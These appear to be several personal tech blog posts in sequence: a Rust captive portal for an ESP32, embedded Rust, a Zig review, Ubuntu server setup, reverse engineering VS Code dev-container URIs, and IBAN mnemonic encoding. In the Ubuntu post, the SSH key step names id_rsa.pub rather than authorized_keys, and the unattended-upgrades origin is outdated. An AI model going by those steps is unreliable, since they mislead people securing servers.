Some background: I work for a company building second-life storage systems. To track our system, we have an embedded device, written in Rust, which pushes data to the cloud. Now, when installing a new system at the customer's site, this device needs to be configured and connected to the customer's WiFi.

We need some kind of interface to enter the configuration and write that onto the device. First, the device installer needs to connect to the device somehow. But this is easy! As presented in the last blog post, we use an ESP32, which comes with WiFi built-in. So we can just open up a hotspot and connect to it.

We can then use a command line interface, which connects over the access point to the ESP, to perform the actual configuration. However, the installation typically is done by non-programmers. Instead, we need some kind of user interface. An app sounds like a good idea! But then it has to stay compatible with multiple iterations of our embedded device (which we call "edge device") and keep supporting older versions.

Instead, we opted to develop a small website, which is served by the edge device and opens up once you log into its WiFi (similar to the captive portals that open up when connecting to some airport WiFi). This website is not just HTML, we also need some JavaScript for custom logic before sending the request to a different endpoint and to let the user know whether their request was successful.

This is one of the earlier iterations of our portal (the current state is rather boring since it only has one field):

To build this, I first started up a new Next.js project, which is my go-to web development framework. But react-dom alone is just way too big:

Soo, back to the roots! Throw in some of that sweet .html and .js along with a pinch of .css, et voila - we have a website.

I wish it were as easy as that. But we have some key limitations when building a frontend for our edge device, that I didn't mention until now:

1. It has to be small. Really small. Every single byte will be a byte less, which we can use to buffer messages in case of an internet outage.

2. We don't have a real (but a "real-time") operating system. Yes, we have a basic notion of scheduling and threads. But, there is no such thing as a file as part of a filesystem. Just bytes. So we can't just serve a bunch of files via HTTP.

3. Everything we write is very hardware-dependent. There is no Linux networking stack ready to be used. So if we interact with the networking stack, we directly interact with the hardware (through a small client/server abstraction) as we do with most things on embedded. So no chance of running any modern HTTP server.

Let's first tackle the second problem of embedding the website onto the device. We have a bunch of files that make up the website. But what we need in the end, is just a chunk of bytes (remember, we don't have a filesystem).

Without a framework, we have to build the build pipeline ourselves. We use Webpack (but it's on my to-do list to check out Turbopack, which is written in Rust) to bundle all JavaScript files and all CSS files together. This also allows us to use TypeScript!

TypeScript is an extension to JavaScript which adds types (duh). It makes programs safer and easier to maintain. However, we can still profit from the vast JavaScript ecosystem, because it's interoperable with it - TypeScript just transpiles to JavaScript in the end (which makes it run in browsers without web assembly). Also, since we already use Rust, one of the safest programming languages out there, we just couldn't get away with using JavaScript!

You can embed TypeScript, CSS and other resources like images into HTML, but we didn't find a neat solution to do it with Webpack (but I'm sure there is a plugin for this somewhere out there). I then found monolith on GitHub. It's meant for archiving webpages into a single file, but it also solves exactly our use case. We run it right after Webpack and it embeds all the website's resources base64-encoded into one single HTML file, which we then embed into our code.

Challenge solved! Next up: Making it small. We already use a quite minimal CSS library called Skeleton. Webpack has a minification step and monolith embeds resources in base64. That makes it small, but not small enough.

Luckily browsers nowadays support compression. Meaning, we can send the client our compressed HTML file, and as long as we include information about the compression in the response headers, the client will decompress it first. We managed to reduce the size of the website by 65% by using the Brotli compression algorithm! Great! Our new pipeline now looks like this: Run the bundler (Webpack), run monolith to get one file and then compress it using Brotli.

So are we done? Not quite! There is another requirement I didn't tell you about: On the website, we need to be able to display if the device is already configured. We also want to show the current version, state and some other stuff. We could just make a request from our frontend back to the backend and ask for that information. But this would require a second API endpoint which builds some JSON response with all that data. This would increase our code complexity, and we would have to handle a bunch of new error cases (remember, everything is way harder on embedded). Also, it's a bit weird: We just sent the whole website with all its resources, why can't we send this data along with it? Because the body was compressed and inserted during compile time!

So, what are our options besides that nasty second request? We cannot look for some byte markers and modify the bytes directly since it's already compressed - and it would be horrible to maintain. In our HTTP response, the body is compressed, but remember what such a response looks like:

We still have the headers we can use to pass information to the clients. Headers are not compressed and allow us to send arbitrary key-value pairs to the client. However, you cannot access them from the body (HTML/JavaScript) to actually display them (probably due to some security concerns)! Or can you?!

Let me present to you: The server-timing header! This header allows the server to pass some performance metrics to the client - which can read its values through the browser's JavaScript API. The values can be set like this: server-timing: key1;desc="value1", key2;desc="value2". We can then simply use window.performance.getEntriesByType('navigation') to read those values. Easy!

Buuut, Safari does not support this yet. So as neat as this sounds - we can't use it. However, there is yet another header type we can (ab)use in a similar way. Cookies! Cookies are meant to store information about the user across browser sessions. They are set by headers and can be read out with JavaScript (or TypeScript in our case). However, they behave a bit differently than the server-timing header, because they are persistent. So in order to use them, we set a really low expiry date and delete them right after reading them.

And with that, we have a neat little frontend which we can use to configure our systems. If you haven't yet read the first part of this article, go over here to learn more about why we chose Rust in the first place.

"Thanks to its direct access to both hardware and memory, Rust is well suited for embedded systems and bare-metal development." - GitHub

It all started in 2022, with me getting annoyed by our C implementation of a small piece of software running on an ESP32 (a microcontroller with built-in internet connectivity). The purpose of the software was to read messages via UART (serial interface/protocol, often used to communicate between embedded devices) and send them to some cloud services via MQTT (messaging protocol, often used to communicate between IoT devices). Seems simple enough, right? Well, we had some additional requirements in terms of reliability, regarding the layout of the resulting JSON MQTT messages and concerning the content of the UART messages which is rather difficult to parse.

To give you some more context: I work for a startup named STABL Energy where we build revolutionary energy storage systems, that are based on second-life batteries (batteries that were used in electric cars before). Instead of recycling them just now, we can use those perfectly fine batteries to (for example) back large PV farms and prolong their lives just a little bit more. The device I was talking about before is used to connect our battery storage systems to the cloud for monitoring and remote control. We also use it during development, to test new features in our system - so it really needs to be reliable, because we don't want to lose any data.

Our C implementation was a small (very prototype) software running on the ESP32 platform. It had some serious runtime issues, preventing it from working reliably, that were hard to debug. And debugging on embedded is a lot more complicated than debugging software targeting desktop architectures. I have much respect for C (and even more for people programming in C), but I think its era is coming to an end. As I wrote in a previous blog post, Zig could be a quite good modern replacement in the future. But Zig is rather new and at the time we worked with the C implementation, I didn't even know that Zig existed. However, I did a lot with Rust in personal projects at that time. The developer experience in Rust is just on the next level and the software you write is reliable without giving reliability, memory allocation etc. too much thought in the first place.

At STABL Energy, we didn't use any Rust before. We mainly used C for embedded and Python for anything else. But since I got to lead this project and had a great time with Rust, we ended up writing a prototype using ESP IDF, which even allowed us to use the Rust standard library. Long story short: Our Rust prototype ended up much more reliable than the C implementation. We spent a little bit more time writing the software (Rust takes longer to write than C) to achieve the same functionality but spent basically zero time debugging (since there weren't that many bugs) - so we stuck with it. At that time the Rust support from Espressif (the company behind the ESP32) was rather new and experimental (and it still is), but it kept improving and we noticed quite the investment from Espressif in terms of work spent working on Rust support for their platform.

Fast forward to 2024: We now used the ESP32 with our custom software written in Rust for over a year in production, with great success. The devices transmit data 24/7 and we have no known bugs (I don't even remember the last bug we had). There is just one problem: Who maintains and further develops this project? While there are some pretty passionate Rust developers (& consultancies) out there (even in Germany) and even more that would be willing to learn Rust, it is not viable to hire one sole Rust developer for this (small) project. Since Rust, and especially embedded Rust (lots of FFI & unsafe), is quite hard to learn, it is not viable (for us) to retrain a C developer to Rust. Luckily we found a Rust developer who was willing to learn C as well.

So what's the state of embedded Rust outside of our small project? Dion, from Tweedegolf, recently published a great article about the current state: He says that what works and does not work heavily depends on the specific use case and willingness to build the missing pieces yourself or rely on open-source software. There are still some rough edges, as visualised in his infographic, but overall Rust is a viable programming language choice for embedded projects.

If, in the future, I were faced with a choice between C and Rust for embedded development again, I would most likely choose Rust because of how successfully we used it in the past. Let me know if you heard about some similar projects - I am always excited to hear about embedded Rust!

In the last year, I heard a couple of times about a new low-level programming language called Zig. And now I finally found the time to try it out. In this article, I want to talk about the things I liked and disliked about Zig from the perspective of a Rust developer (and the high standards they are used to 🦀👑).

So what is Zig?

Zig describes itself as "... a general-purpose programming language and toolchain for maintaining robust, optimal and reusable software.". Sounds very generic, eh?

The "unique selling points" are:

• No hidden control flow; you control everything

• No hidden memory allocation; they are all explicit and allow to use different allocation strategies

• No preprocessor, no macros; directly write compile time code in Zig instead

• Great interoperability with C/C++; supports cross-compilation; can be used as a drop-in replacement for C.

Zig is a bit similar to Rust since both focus on performance and safety. They don't use garbage collection, use LLVM as the compiler backend, and provide code testing capabilities. Both use a modern syntax and offer programming features like error handling and options.

const std = @import("std");/// Removes the specified prefix from the given string if it starts with it.pub fn removePrefix(input: []const u8, prefix: []const u8) []const u8 {    if (std.mem.startsWith(u8, input, prefix)) {        return input[prefix.len..];    }    return input;}

Even though it simplifies a lot, I like to say that Zig is to C what Rust to C++ is. Others say, that Zig is the modern successor of C. As a rule of thumb, it probably makes sense to use Zig in projects where you would have used C before.

Is it good?

I usually learn new programming languages by simply writing some simple programs from start to finish. In this case, my goal was to write a telnet client (an old network protocol for remote access to terminals). This was quite a journey since telnet is a lot more complex than it seems. But this deserves an article on its own.

It actually took me more than one day to implement this project, but after a full day of working on it, I had the feeling that I understood the basics of Zig. You can find the source code here: https://github.com/michidk/telnet-zig/

What I dislike about Zig

The barrier of liking Zig is not too high, since I really dislike programming in C. So let's first discuss the things I disliked:

The Zig community and ecosystem are rather small, and not many libraries are available. Those that are available are also not very fleshed out yet. This is very different for Rust, where you can find at least one very popular and well-implemented crate for each problem which you might want to outsource to a library.

Zig comes with a standard library that is similarly minimalistic like the Rust standard library. It is yet rather small but carefully designed. The documentation is not very good and many methods are undocumented.

Undocumented code from std.io.Writer (https://ziglang.org/documentation/master/std/#A;std:io.Writer):

There is no proper pattern matching in Zig. However, switch statements are quite powerful and when nesting them it is possible to achieve something similar, like one can do with Rust's match statement.

In Rust, traits (or interfaces in other languages) allow for polymorphism - the ability to write code that can operate on objects of different types. This is a powerful feature for designing flexible and reusable software components. Zig, however, lacks this feature. It relies on other mechanisms like function pointers or comptime polymorphism, which can be less intuitive and more cumbersome for scenarios typically handled by interfaces or traits.

But to be honest, I wouldn't have expected otherwise, since Zig is rather young and only recently gained in popularity.

Why I love Zig

Tooling, Build System & Tests

Even though the language is rather young, the tooling is great! However is not as advanced as the Rust tooling with cargo and clippy (yet). Only the most recent version v0.11 delivered us an official package manager, called Zon. It can be used together with the build.zig file (which is similar to a build.rs in Rust) to load libraries from GitHub into our project without much hassle (I don't even want to know how much valuable lifetime cmake and make have cost me in the past).

$ zig build-exe hello.zig$ ./helloHello, world!

Similarly to Rust, Zig comes with robust testing capabilities built into the language. Tests in Zig are written in special functions, allowing them to reside alongside the code they are validating. Unique to Zig is the ability to leverage its compile-time evaluation features in tests. Additionally, Zig's support for cross-compilation in testing is particularly noteworthy, enabling developers to effortlessly test their code across various target architectures. Some people even use Zig to test their C code!

const std = @import("std");const parseInt = std.fmt.parseInt;// Unit testingtest "parse integers" {    const ally = std.testing.allocator;    var list = std.ArrayList(u32).init(ally);    defer list.deinit();...

The Language

The language itself is well-designed and the syntax is quite similar to Rust. Both have a type system that emphasizes strong, static typing, though the way they handle types and type inference differs.

Error Handling and Optionals

Zig and Rust both promote explicit error handling, however their mechanisms are different. Rust uses Result enums, while Zig uses a (global) error set type (though similar to an enum) and error propagation. Similarly, Rust uses the Option enum for optional types, while Zig uses a type modifier (?T). Both offer modern, syntactic sugar to handle those (call()? and if let Some(value) = optional {} in Rust, try call() and if (optional) |value| {} in Zig). Since Rust uses the standard library to implement error handling and options, users have the possibility to extend those systems which is quite powerful. However, I like the approach Zig takes in providing those things as language features. While their approach fits well into the C universe, I dislike that there is no pragmatic way to add more context to an error (but well, no allocations). Libraries like clap solve this by implementing a diagnostics mechanism.

// Hello World in Zigconst std = @import("std");pub fn main() anyerror!void {    const stdout = std.io.getStdOut().writer();    try stdout.print("Hello, {s}!\n", .{"world"});}

C Interop

The C interoperability in Zig is world-class. You don't need to write bindings, with Zig you can just use the @cImport and @cInclude built-in functions (which parses C header files) to directly use C code.

Comptime

Zig allows us to write Zig code (no special macro syntax like in Rust), which is evaluated during compile time using the comptime keyword. This can help to optimize the code and allows for reflection on types. However, dynamic memory allocations are not allowed during compile time.

Types

Like in Rust, Zig types are zero-cost abstractions. There are Primitive Types, Arrays, Pointers, Structs (similar to C structs, but can include methods), Enums and Unions. Custom types are implemented through structs and generics are implemented by generating parameterized structs during compile time.

// std.io.Writer is a compile-time function which returns a (generic) structpub fn Writer(    comptime Context: type,    comptime WriteError: type,    comptime writeFn: fn (context: Context, bytes: []const u8) WriteError!usize,) type {    return struct {        context: Context,        const Self = @This();        pub const Error = WriteError;        pub fn write(self: Self, bytes: []const u8) Error!usize {            return writeFn(self.context, bytes);        }...

Memory Allocation

Unlike Rust, which employs an automatic borrow-checker to manage memory, Zig opts for manual memory management. This design decision aligns with Zig's philosophy of giving the programmer full control, reducing hidden behaviors and overhead.

At the core of Zig's memory management strategy is the Allocator interface. This interface allows developers to dictate precisely how memory is allocated and deallocated. Developers can choose from several allocators or implement custom ones tailored to specific needs or optimization goals.

This is great but can be a bit annoying in practice. The allocator is typically created at the beginning of the application code and assigned to a variable. Methods which want to allocate memory, require the allocator as a parameter in their function signature. This makes allocations very visible but also can get a bit annoying because it has to be passed around through multiple functions throughout the whole application (at least to the parts where you allocated memory).

Cross Compilation

Zig, like Rust, has native support for cross-compilation. Its integrated toolchain simplifies compiling for different architectures or operating systems. Setting the target architecture in Zig is as straightforward as passing an argument in the build command:

# Build for Windows on Linuxzig build -Dtarget=x86_64-windows-gnu

In contrast, Rust requires the installation of the target platform's toolchain through rustup and often necessitates manual linker configuration for the target platform.

Conclusion

I find Zig to be a well-designed, fun, and powerful language. It can be challenging to use because of the small ecosystem and the lack of documentation, which most likely will improve soon with increasing popularity. Zig provides modern syntax, a great type system, complete control over memory allocations and state-of-the-art language features.

Overall, I enjoyed programming in Zig and I think it has a lot of potential to become a popular choice for low-level development. Personally, I think Zig could be a real game changer for embedded systems (in a few years) and I am quite excited to see what the future holds for Zig.

I encourage you to give Zig a try.

Why Ubuntu?

Ubuntu has rapidly become one of the most popular choices for server environments. This preference stems from Ubuntu's stability, ease of use, and robust support.

1. Long-Term Support (LTS) Releases: Ubuntu's Long-Term Support versions, released every two years, are a cornerstone of its reliability. These LTS releases are supported with updates for five years, ensuring stability and security without the need for frequent major upgrades. This long-term support is crucial for servers, where uptime and stability are paramount.

2. Widespread Community: With its growing popularity, Ubuntu has amassed a large and active community. This community provides extensive resources, forums, and documentation, aiding in troubleshooting and knowledge sharing.

3. User-Friendly Yet Powerful: Ubuntu strikes a balance between user-friendliness and advanced capabilities. Its package management system (APT) and extensive repositories make software installation and management a breeze. Ubuntu also maintains compatibility with a wide range of hardware, ensuring flexibility in server deployment.

4. Robust Security Features: Ubuntu is known for its strong security measures. Features like AppArmor, a mandatory access control framework, and regular security updates provide robust protection against vulnerabilities. The inclusion of fail2ban and unattended upgrades in server setups further fortifies its security posture.

Initial Software Installation

Upon logging into your fresh Ubuntu server, the first step is to elevate to superuser status with sudo -i, providing full administrative rights. This is necessary for installing and configuring various essential packages.

apt update && apt upgrade -yapt install -y fail2ban htop git curl wget gnupg lsb-release unattended-upgrades apt-transport-https ca-certificates locales nano vim

Why These Packages?

• fail2ban: Protects against brute-force attacks.

• htop: Offers an interactive process viewer (better than top).

• git, curl, wget, gnupg: Essential tools for downloading and verifying files.

• lsb-release, apt-transport-https, ca-certificates: Tools required for secure software installation.

• locales: Supports system language preferences.

• nano, vim: Provides text editors for configuration.

Most other basic software like cat is preinstalled on Ubuntu (sometimes curl & wget are as well, but that depends on the image you used).

Initial Configuration

Configuring the locale is vital for consistency in language and character encoding across the system. It ensures that your server interacts correctly with software and services.

locale-gen --purge en_US.UTF-8echo -e 'LANG="en_US.UTF-8"\nLANGUAGE="en_US:en"\n' > /etc/default/locale

Hostname and Hosts File

Setting a descriptive hostname improves the manageability of your server, especially in a network of multiple machines.

sh -c 'echo "127.0.1.1          <domain> <alias><YOUR IP>          <domain> <alias>" >> /etc/hosts'sudo hostnamectl set-hostname <domain>sudo hostnamectl set-hostname "<alias>" --pretty

For <domain> I would use something like node1.example.com and for <alias> node1.

Secure Log In

Creating a non-root user with sudo privileges enhances security by limiting root access.

useradd <username>usermod -aG sudo <username>

Set up SSH keys for secure, password-less login. Setup the .ssh/ folder and upload your public key.

mkdir -p /home/<username>/.sshchmod 700 /home/<username>/.sshchmod 400 /home/<username>/.ssh/authorized_keyschown <username>:<username> /home/<username> -R# then put your public ssh key into /home/<username>/.ssh/id_rsa.pub

Modifying the SSH configuration to disable root login and password authentication significantly reduces the server's vulnerability to unauthorized access.

PermitRootLogin noPasswordAuthentication noservice ssh restart

Automatic Security Updates

Configuring unattended upgrades ensures that your server stays up to date with the latest security patches, reducing the risk of vulnerabilities.

APT::Periodic::Update-Package-Lists "1";APT::Periodic::Unattended-Upgrade "1";APT::Periodic::Download-Upgradeable-Packages "1";APT::Periodic::AutocleanInterval "7";

Limiting automatic upgrades to security updates prevents unexpected changes in system behavior due to non-critical updates.

Unattended-Upgrade::Allowed-Origins {        "Ubuntu lucid-security";};

A Solid Start

The steps outlined provide a basic foundation for any Ubuntu server. There is a LOT more you can and should do to make your server more secure. But those are the absolute basics I always do before anything else!

Dev containers allow you to open up projects and have them running in a fully pre-configured environment with one click!

... is how I introduced the concept of dev containers in my last article.

I also mentioned that I have been working on a small utility named vscli, which enables you to launch Visual Studio Code (vscode) from the command line (CLI) or a terminal user interface (TUI) like this:

Now this does not look very complicated, right? The cool thing is (and actually the main problem I want to solve with this tool), that it can also open devcontainers. So if it detects that the folder you are trying to open, with e.g. vscli dev/myproject, contains a dev container configuration file, it will open it in a vscode dev container instead.

Now, you might think it is as easy as calling a command like code dev/myproject --devcontainer behind the scenes. You couldn't be more wrong!

Before explaining how this actually works, I want to let you know that it will get a lot weirder when we try to add support for a new dev container feature later.

How everyone does it

This is not a problem that hasn't been solved before. Lots of people want to start their dev containers right from the CLI, without navigating menus in vscode. So if you look through various bash scripts and some issues on GitHub, you will find that most people solve this by executing the following command:

code --folder-uri vscode-remote://dev-container+<some_weird_hex_string><a_path>

Which then could look like this:

code --folder-uri "vscode-remote://dev-container+5c5c77736c2e6c6f63616c686f73745c417263685c686f6d655c6d696368695c6465765c7673636c69/workspaces/vscli

The last part (/workspaces/vscli in this case) is the path we want vscode to open inside the container. It is /workspaces/project_folder_name by default, but it can be overwritten inside the dev container configuration file.

The hex value is the path on the host, encoded in hex. Decoded could look like this (when the dev container was launched from WSL):

\\wsl.localhost\Arch\home\michi\dev\vscli

Note: We used WSL here, so most paths will be WSL paths. However, it works quite similarly on Windows.

How did we figure that out?

Well, I got the hint from this GitHub issue. Also, it seems like at one time a devcontainer open command existed in the old dev container CLI (it does not exist anymore since the CLI wants to be editor-agnostic).

There is also another version of the dev container CLI, which is included in the proprietary vscode dev container extension. This version actually includes the devcontainer open utility, but we only have access to the minified JavaScript code.

So if this problem is already solved, why implement our own CLI tool? Well, there are multiple reasons: closed-source, sending telemetry by default, and cannot be installed with a proper packet manager.

But we want multiple containers

It was brought to my attention, that the dev containers spec/vscode released a new feature, which would allow having multiple dev container definitions inside one project (by creating multiple configuration files in different places). I needed to try it out immediately, and actually found several use cases in my projects - so vscli needs to support it as well!

But how would I tell vscode which container to open? Using the strategy mentioned earlier, there is no way to point to some specific config. I did some research, and I haven't found a single codebase or shell script containing code to open dev containers in any other way than the command above. So nobody either managed or cared enough to figure this out. Is it even possible? Well, it has to, since vscode does it too!

Down the rabbit hole...

So I sat down together with my buddy and did a late-night investigation. Here is how it went (spoiler: we actually figured it out in the end).

First, we had a look at the closed-source version of dev container CLI again, maybe it supports this? Turns out it does!

So we downloaded the source code of the dev container extension from the official marketplace: https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers. This gives us the ms-vscode-remote.remote-containers-0.320.0.vsix file. Since .vsix is basically just a .zip file, after extracting it we could explore the extension.

Luckily they not only included the compiled binary but also the Node JavaScript "source code": extension/dev-containers-user-cli/dist/node/devContainersUserCLI.js. However, it's not real source code, since the source application is probably written in TypeScript, and what we get to see is the minified, transpiled JavaScript:

This code is optimized for minimal size, so most of the functions and variable names are renamed to one-letter names and everything is put into one line without spaces.

Making sense of the code

Since this code is unreadable, it is very hard to get the control flow. We started by searching for strings we know, like vscode-remote://dev-container. And we had a match! The extracted and formatted function which uses this string looks like this:

function Z$(t, e, n, r, i, o) {  t = moe(t);  let s =    r || o      ? JSON.stringify({          hostPath: e,          localDocker: i,          settings: r,          configFile: o,        })      : e;  return `vscode-remote://dev-container+${Buffer.from(s, "utf8").toString(    "hex"  )}${t ? `@${t}` : ""}${n}`;}

We can see that whatever is put behind the + (variable s) is converted into hex, as we already know. n is the workspace path and the final part of the URI. t is an optional parameter I am not quite sure of. But if we look into how s (the hex-encoded part) is defined, we can see that it is either e or some JSON string depending on how r || o evaluated.

So this seems to be the solution to the problem! It is possible to pass in more data than just the project path! We don't really care for r and o at this point, but if we look into how the JSON string is constructed, we can even read what they are: r seems to be some additional settings and o the configFile? e is the hostPath, which is also used when we don't use the JSON string. So this is the path to the project we also used in the old approach. i which is put into the localDocker field is probably some boolean that describes whether to use a local or remote Docker host.

Did we solve it?

The configFile parameter is probably the file path of the dev container config file we are trying to load. So let's build up the following JSON and try to open vscode:

{    "hostPath": "\\wsl.localhost\Arch\home\michi\dev\vscli",    "configFile": "\\wsl.localhost\Arch\home\michi\dev\vscli\.devcontainer\testContainer.json"}

Which opens vscode, but it will complain with the following error: \[UriError\]: Scheme contains illegal character.

We tested a few options to debug this:

• Only using hostPath without configFile: works (but we cannot choose a dev container config)

• Directly putting the dev container config file contents into configFile: UriError

• Using Windows style file paths: UriError

So configFile expects some special URI format? It's time to look into the code a bit more: Z$ is called only once:

  let q = Z$(      void 0,      p,      w.workspaceFolder,      void 0,      void 0,      e ? qn.file(Ze.resolve(process.cwd(), e)) : void 0    ),

Most parameters are void 0, which is the shorter equivalent of undefined. This shows that r, i and t of Z$ are actually not used (probably for legacy reasons), so we always use the JSON format nowadays. We also learn how the input to the hostPath is constructed: qn.file(Ze.resolve(process.cwd(), e)).

At first look, it looks like it combines the path of the current folder (process.cwd()) and the relative path to the dev container config file and then passes it into a function that builds the file representation that the URI expects. After some investigation and finally ended up with this code:

var LP = ae(require("os")), Ze = ae(require("path"));

We concluded that Ze.resolve() is part of the node.js path library and indeed combines path segments.

The last mystery: .file()

This one was difficult. We really could not make sense of this method, since it was part of a bigger library:

var { URI: qn, Utils: awe } = AF;// and then somewhere else in the code// ...        (D.extname = function (A) {          return F.extname(A.path);        });    })(R || (R = {}));  })(),    (AF = r);})();

Luckily, somewhere in this library, we found an error message: The "pathObject" argument must be of type Object. Received type .... I was never as excited before to find an error message. But this is something we can Google and maybe find out which library it is!

And it worked! We found a GitHub issue in the vscode GitHub repo, which referenced the exact file it is implemented in. Turns out this is the internal URI library of vscode!

The code is still quite complex, but there was an easier way anyways. I just opened up the developer tools in vscode and called the .file() function directly, passing in the path to my dev container config:

So the .file() method returns an object that is directly serialized into JSON. The UriError message from before probably hinted at the "scheme":"file", property missing. This does not look like a proper URI interface and is probably an accident, where the developers forgot to properly serialize the path - but hey, we figured it out!

So now we can use the following JSON to open our dev containers with multiple config files:

{  "hostPath": "\\wsl.localhost\Arch\home\michi\dev\vscli",  "configFile": {    "$mid": 1, // optional    "path": "/Arch/home/michi/temp/multi/.devcontainer.json",    "scheme": "file",    "authority": "wsl.localhost"  }}

There is still some work to do with getting the paths in the proper format and to make this work on Windows, but this should get you started if you want to implement this yourself. Check out the implementation of this in vscli here: https://github.com/michidk/vscli/blob/main/src/uri.rs

Now, if you try to open a project with more than one dev container using vscli, the following dialog will appear:

Want to use vscli yourself? Check it out on GitHub: https://github.com/michidk/vscli

It is especially useful if you want to keep your system clean of different SDKs with different (conflicting) Versions (looking at you Python 👀) or work on many different projects, which require different setups. It is also helpful to provide a dev container for other people to start working on your projects because they get up and running within seconds!

I have used them for more than two years and it made my developer workflow so much easier. I nowadays use them in every project - work and private!

Intro

How it works? Dev containers is a specification based on Docker. This specification describes a metadata file (devcontainer.json), which defines how the project (Docker container, IDE settings, plugins, etc) is set up.

It can look as simple as:

{    "name": "Rust",    "image": "mcr.microsoft.com/devcontainers/rust:1-bullseye",}

Or get more complex like, this configuration which is based on a local Dockerfile, installs "dev container features" (will be explained later), configures some extensions, and my terminal:

{    "name": "My Rust IDE",    "build": { "dockerfile": "Dockerfile" },    "features": {        "ghcr.io/guiyomh/features/just:0": {}    },    "customizations": {        "vscode": {            "extensions": [                "rust-lang.rust-analyzer",                "tamasfe.even-better-toml",                "serayuzgur.crates",                "kokakiwi.vscode-just"            ],            "settings": {                "terminal.integrated.defaultProfile": "zsh"            }        }    }}

As you can see from the customizations section, dev containers are IDE agnostic. For example, there is a project implementing dev container support into nvim. But since the Visual Studio Code (vscode) team at Microsoft invented dev containers, it is currently the IDE with the best dev container experience.

A dev container can be bootstraped by using the vscode UI or creating the configuration file by hand. There are a bunch of pre-made dev container configurations maintained by the vscode team and community ready to be used:

This video is a good resource on how to learn the basics of dev containers and how to use them in vscode:

Dev Container Features

dev containers not only allow you to define which extensions should be installed and which configuration settings shall be set, but they also have something they call "dev container features".

They are reusable modules that contain installation scripts and dev container configurations. This means allows you to configure your development environment even quicker (and install them using a vscode UI).

In my example above, I installed the developer tool "Just" as a dev container feature. I could also install it by adding the install script to my Dockerfile. However, I would have to build my own Dockerfile and would have to maintain this piece of code myself. This dev container Feature works on different architectures and base images, which makes them convenient to use.

A list of available dev container features, can be found here. However, you can also develop your own features and publish them, like I did.

Opening dev containers From the CLI

So you can use dev containers from the vscode user interface rather intuitively. All configurations can also be edited directly and there is even a CLI. However, this CLI is made editor agnostic, so there is no vscode integration.

What I have been always missing was just a simple command to open up a dev container in my current directory, inside vscode. Turns out it is not that easy!

Now, there is a proprietary dev container CLI version included in vscode (which can be only installed by adding C:\Users\<USER>\AppData\Roaming\Code\User\globalStorage\ms-vscode-remote.remote-containers\cli-bin to the PATH), that offers a devcontainer open command. I am not sure if there is a version for Linux as well. But what I am sure of, is that it sends some kind of telemetry data to Microsoft by default.

I was not happy with this solution, so I built vscli, a vscode CLI tool to launch projects and support dev containers. It works on most platforms and is written in Rust. It includes a simple terminal UI, which allows you to quick-launch your recently opened projects:

Check it out here: https://github.com/michidk/vscli

GitHub Codespaces

dev containers also power GitHub Codespaces, which allows you to have the same dev container experience in the Browser running in the Cloud!

It is a bit like github.dev (you can replace the .com with a .dev or just press . on any GitHub repo and you will get the project editable in a vscode web version), but with all the extensions and dev container running on a machine in the Cloud.

Closing Thoughts

I recommend you to check out dev containers, it made my life so much easier. At this stage, they are also pretty mature and supported by a large community.

I even know some VIM people, using vscode from time to time just because of dev containers 😉

The IBAN (International Bank Account Number) is a standardized international numbering system for bank accounts. It's used across countries to send money securely from one bank account to another.

In Germany, an IBAN might look like this: DE67834783927384738238. Now if you lend someone money for lunch (because they didn't have cash on them) and want it back, you would send them your IBAN. Now you have three options:

• Log in (and authenticate) to your banking app and copy & paste the IBAN

• Copy it out from your notes app, where you wrote it down before

• Take out your banking card and copy the IBAN number that is printed on it

• You both have PayPal, and you just share your email

• You are a maniac and know your IBAN by heart

All those options are a bit annoying and dependent on how often you find yourself in such a scenario, you might get pissed off about how unmemorable IBANs are. I am pissed off about how unmemorable IBANs are (in case you wondered).

Inspiration

You might have heard of BIP-0039. No, you probably didn't, but you might have seen something like this:

canyon situate farm wedding cluster budget truck bag gooseobtain surround soda cable galaxy spoil utility tip rememberscan danger cat lawsuit staff riot

This is a Bitcoin wallet seed encoded in the so-called mnemonic code, which was proposed in BIP-0039. It is easier to remember, verbally communicate and write down than binary or hexadecimal data. This would be really handy to have for IBANs as well!

I want my IBAN to be a 'simple cluster truck wedding bag goose soda galaxy'

The Bitcoin implementation comes with a few Bitcoin-specific add-ons, which we don't need. So we could just follow the implementation by Oren Tirosh, which everybody seems to reference when talking about mnemonic code.

The Theory

The Mnemonic encoding by Oren works by taking a segment of bytes and calculating an index that maps to a word of a wordlist. This is not just one random wordlist extracted from a dictionary. The words are carefully selected by adhering to a set of criteria (which is heavily discussed on the internet), as seen here. So we just have to import some library and convert an IBAN into a bunch of bytes?

Well, first, we have to discuss how we actually convert an IBAN to bytes. We want to use as few bytes as possible since each extra byte will result in additional words, which one must remember.

How IBANs work

But in order to be able to properly encode IBANs into bytes, we first have to understand what they are and how they work.

IBANs are defined in the ISO 13616-1 standard, which is actually quite readable (which I am not used to when reading standards). It defines that an IBAN consists of the following elements:

1. Two-letter country code, aka "alpha-2 code", according to ISO 3166-1

2. A checksum consisting of two numbers

3. Up to 30 characters and numbers called the "BBAN"

The BBAN has to have a fixed size per country code and also encode a bank identifier whose position and length are also fixed per country code. The following image from a PMPG whitepaper visualizes it quite well (source):

This means that each country has its own "sub-standard" for IBANs (or BBANs, to be specific).

The country code is often indexed by a numeric code that is bigger than 255, meaning it would not fit in one byte. But if you look at the actual country code list, there are just 249 entries. This means by simply numbering them from 0 to 248, we can store that index in just one byte.

In theory, we could remove the checksum from the mnemonic code and recalculate it when parsing the code, which would remove one byte. Since mixing up a word is more unlikely than mixing up a number, this could be a valid consideration. However, I think mixing up the order of words is still pretty likely, so some kind of verification check is still necessary.

Encoding the BAN is the difficult part: Each country has its own BBAN standard, as seen on Wikipedia. It would be nice to have a way to support arbitrary IBAN numbers and convert them to bytes in the most space-efficient way. For this, one probably has to incorporate the country-specific BBAN specification to parse characters and numbers in the correct places (numbers need way fewer bytes than characters).

For German IBANs, it's quite easy: After the checksum, there are 18 numeric characters left to parse. The first 8 are the bank identifier, and the following 10 are the account number. These 18 numbers characters can be interpreted as a 7-byte integer. No ASCII characters, which would increase the byte representation in size. Together with the country code, we arrive at 8 bytes in total.

For comparison, here are some other countries with their IBAN format and required bytes:

Implementation

Most programming languages have libraries that already implement Oren's mnemonic encoder/decoder (e.g., Python or Rust).

So to implement the conversion from some IBAN string to mnemonic code, we would follow these steps:

1. Split the country code of the IBAN, so that checksum and BBAN remain

2. Calculate the index of the country code and convert it to a byte

3. Parse the checksum and BBAN as some big integer and convert it into bytes

4. Put the country code byte and other bytes together and feed them into the mnemonic encoding library

To implement parsing the mnemonic code into an IBAN, we would just reverse the steps. If we discarded the checksum while encoding, we would have to recalculate it again. I also recommend verifying the IBAN using its built-in checksum mechanism.

